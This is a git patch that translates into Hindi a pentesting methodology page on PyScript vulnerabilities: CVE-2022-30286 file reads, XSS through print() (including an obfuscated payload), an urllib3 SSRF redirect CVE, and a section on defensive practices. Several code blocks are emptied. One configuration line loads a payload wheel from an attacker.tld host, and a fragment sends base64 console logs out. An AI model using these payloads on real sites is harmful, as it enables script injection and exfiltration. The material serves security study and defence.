From b38eb33f79499e8d2ac9108c5851385470e9eb59 Mon Sep 17 00:00:00 2001 From: Translator Date: Wed, 20 Aug 2025 02:59:52 +0000 Subject: [PATCH] Translated ['src/generic-methodologies-and-resources/python/pyscript.md' --- .../python/pyscript.md | 68 +++++++++++++++++-- 1 file changed, 63 insertions(+), 5 deletions(-) diff --git a/src/generic-methodologies-and-resources/python/pyscript.md b/src/generic-methodologies-and-resources/python/pyscript.md index 96b7291ad..0e64ea742 100644 --- a/src/generic-methodologies-and-resources/python/pyscript.md +++ b/src/generic-methodologies-and-resources/python/pyscript.md @@ -10,7 +10,7 @@ PyScript एक नया ढांचा है जो HTML में Python `CVE ID: CVE-2022-30286`\ \ -Code: +कोड: ```html with open('/lib/python3.10/site-packages/_pyodide/_base.py', 'r') as fin: out @@ -49,7 +49,7 @@ body: JSON.stringify({ content: btoa(console.logs) }), ### क्रॉस साइट स्क्रिप्टिंग (सामान्य) -कोड: +Code: ```python print("") @@ -59,7 +59,7 @@ print("") ### क्रॉस साइट स्क्रिप्टिंग (Python Obfuscated) -कोड: +Code: ```python sur = "\u0027al";fur = "e";rt = "rt" @@ -78,7 +78,7 @@ print(pic+pa+" "+so+e+q+" "+y+m+z+sur+fur+rt+s+p) कोड: ```html -prinht(" +prinht("" -") +"") ``` ![](https://user-images.githubusercontent.com/66295316/166848442-2aece7aa-47b5-4ee7-8d1d-0bf981ba57b8.png) @@ -156,4 +156,62 @@ print("            & ``` ![](https://user-images.githubusercontent.com/66295316/166848534-3e76b233-a95d-4cab-bb2c-42dbd764fefa.png) +--- + +## नई कमजोरियाँ और तकनीकें (2023-2025) + +### सर्वर-साइड अनुरोध धोखाधड़ी अनियंत्रित रीडायरेक्ट के माध्यम से (CVE-2025-50182) + +`urllib3 < 2.5.0` `redirect` और `retries` पैरामीटर को अनदेखा करता है जब इसे **PyScript के साथ शिप किए गए Pyodide रनटाइम** के अंदर निष्पादित किया जाता है। जब एक हमलावर लक्षित URLs को प्रभावित कर सकता है, तो वे Python कोड को क्रॉस-डोमेन रीडायरेक्ट का पालन करने के लिए मजबूर कर सकते हैं, भले ही डेवलपर ने उन्हें स्पष्ट रूप से अक्षम कर दिया हो ‑ प्रभावी रूप से एंटी-SSRF लॉजिक को बायपास करना। +```html + +``` +`urllib3 2.5.0` में पैच किया गया - अपने PyScript इमेज में पैकेज को अपग्रेड करें या `packages = ["urllib3>=2.5.0"]` में एक सुरक्षित संस्करण पिन करें। विवरण के लिए आधिकारिक CVE प्रविष्टि देखें। + +### मनमाने पैकेज लोडिंग और सप्लाई-चेन हमले + +चूंकि PyScript `packages` सूची में मनमाने URLs की अनुमति देता है, एक दुर्भावनापूर्ण अभिनेता जो कॉन्फ़िगरेशन को संशोधित या इंजेक्ट कर सकता है, पीड़ित के ब्राउज़र में **पूर्ण रूप से मनमाना Python** निष्पादित कर सकता है: +```html + +packages = ["https://attacker.tld/payload-0.0.1-py3-none-any.whl"] + + +``` +*केवल शुद्ध-पायथन पहिए आवश्यक हैं - कोई वेबएसेम्बली संकलन चरण की आवश्यकता नहीं है।* सुनिश्चित करें कि कॉन्फ़िगरेशन उपयोगकर्ता-नियंत्रित नहीं है और अपने स्वयं के डोमेन पर HTTPS और SRI हैश के साथ विश्वसनीय पहिए होस्ट करें। + +### आउटपुट सैनीटाइजेशन परिवर्तन (2023+) + +* `print()` अभी भी कच्चा HTML इंजेक्ट करता है और इसलिए XSS-प्रवण है (उदाहरण ऊपर)। +* नया `display()` सहायक **डिफ़ॉल्ट रूप से HTML को एस्केप करता है** - कच्चा मार्कअप `pyscript.HTML()` में लपेटा जाना चाहिए। +```python +from pyscript import display, HTML + +display("escaped") # renders literally + +display(HTML("not-escaped")) # executes as HTML -> potential XSS if untrusted +``` +यह व्यवहार 2023 में पेश किया गया था और इसे आधिकारिक Built-ins गाइड में दस्तावेजित किया गया है। अविश्वसनीय इनपुट के लिए `display()` पर भरोसा करें और सीधे `print()` को कॉल करने से बचें। + +--- + +## Defensive Best Practices + +* **पैकेज को अद्यतित रखें** – `urllib3 >= 2.5.0` पर अपग्रेड करें और नियमित रूप से साइट के साथ शिप होने वाले पहियों को फिर से बनाएं। +* **पैकेज स्रोतों को सीमित करें** – केवल PyPI नामों या समान-स्रोत URLs का संदर्भ दें, आदर्श रूप से Sub-resource Integrity (SRI) के साथ सुरक्षित। +* **Content Security Policy को मजबूत करें** – इनलाइन JavaScript (`script-src 'self' 'sha256-…'`) की अनुमति न दें ताकि इंजेक्ट किए गए `